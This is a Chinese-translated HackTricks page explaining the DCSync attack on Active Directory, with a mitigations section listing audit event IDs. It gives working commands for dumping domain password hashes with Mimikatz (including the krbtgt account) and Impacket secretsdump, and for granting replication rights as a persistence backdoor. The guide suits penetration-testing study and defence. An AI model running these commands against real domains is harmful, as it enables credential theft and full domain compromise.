hacktricks/windows-hardening/active-directory-methodology/dcsync.md
2023-08-03 19:12:22 +00:00

9.4 KiB
Raw Blame History

DCSync


使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DCSync

DCSync权限意味着对域本身具有以下权限:DS-Replication-Get-ChangesReplicating Directory Changes AllReplicating Directory Changes In Filtered Set

关于DCSync的重要说明

  • DCSync攻击模拟域控制器的行为并要求其他域控制器使用目录复制服务远程协议MS-DRSR复制信息。由于MS-DRSR是Active Directory的有效和必要功能因此无法关闭或禁用它。
  • 默认情况下,只有域管理员、企业管理员、管理员和域控制器组具有所需的特权。
  • 如果任何帐户密码使用可逆加密存储Mimikatz中有一个选项可以返回明文密码

枚举

使用powerview检查具有这些权限的用户:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

本地利用

Exploit Locally本地利用是一种攻击方法利用该方法可以在目标系统上执行特权操作。在Active Directory环境中本地利用通常用于获取域控制器的敏感信息。

DCSync

DCSync是一种利用本地攻击方法用于从域控制器中提取域账户的敏感信息。通过DCSync攻击者可以模拟域控制器并请求目标域控制器复制指定账户的敏感信息如NTLM哈希。

要使用DCSync攻击者需要具有域内的管理员权限。攻击者可以使用Mimikatz等工具来执行DCSync攻击。以下是执行DCSync攻击的步骤

  1. 获取域内管理员权限。
  2. 执行Mimikatz等工具并加载相应的模块。
  3. 使用lsadump::dcsync /user:<username>命令,其中<username>是要提取敏感信息的目标账户。
  4. 提取的敏感信息将显示在输出中包括NTLM哈希。

DCSync攻击可以帮助攻击者获取域账户的敏感信息如密码哈希从而进一步扩大攻击面。因此保护域控制器免受DCSync攻击至关重要。

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

远程利用

DCSync can be exploited remotely if the attacker has administrative privileges on a domain-joined machine or has compromised a domain user account with the necessary permissions.

DCSync可以在远程利用如果攻击者在加入域的计算机上拥有管理员权限或者已经入侵了具备必要权限的域用户账户。

To exploit DCSync remotely, the attacker can use tools like Mimikatz or Impacket to interact with the domain controller and request the replication of a specific user's credentials.

要远程利用DCSync攻击者可以使用Mimikatz或Impacket等工具与域控制器进行交互并请求复制特定用户的凭据。

The attacker needs to have network connectivity to the domain controller and the necessary credentials to authenticate to the domain.

攻击者需要与域控制器建立网络连接,并具备必要的凭据以进行域身份验证。

Once the attacker successfully replicates the user's credentials, they can use them to impersonate the user and gain unauthorized access to sensitive information or perform malicious actions within the domain.

一旦攻击者成功复制了用户的凭据,他们可以使用这些凭据冒充用户,并未授权地访问敏感信息或在域内执行恶意操作。

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking

-just-dc 生成3个文件

  • 一个包含NTLM哈希值的文件
  • 一个包含Kerberos密钥的文件
  • 一个包含启用了可逆加密的NTDS中明文密码的文件。你可以使用以下命令获取启用了可逆加密的用户
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

持久化

如果你是域管理员,你可以使用powerview将这些权限授予任何用户:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

然后,您可以通过查看以下输出来检查用户是否正确分配了3个权限(您应该能够在"ObjectType"字段中看到权限的名称):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

缓解措施

  • 安全事件ID 4662必须启用对象的审核策略- 对象上执行了一个操作
  • 安全事件ID 5136必须启用对象的审核策略- 修改了目录服务对象
  • 安全事件ID 4670必须启用对象的审核策略- 更改了对象的权限
  • AD ACL Scanner - 创建和比较ACL的创建报告。https://github.com/canix1/ADACLScanner

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


使用Trickest可以轻松构建和自动化工作流程,使用全球最先进的社区工具驱动。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}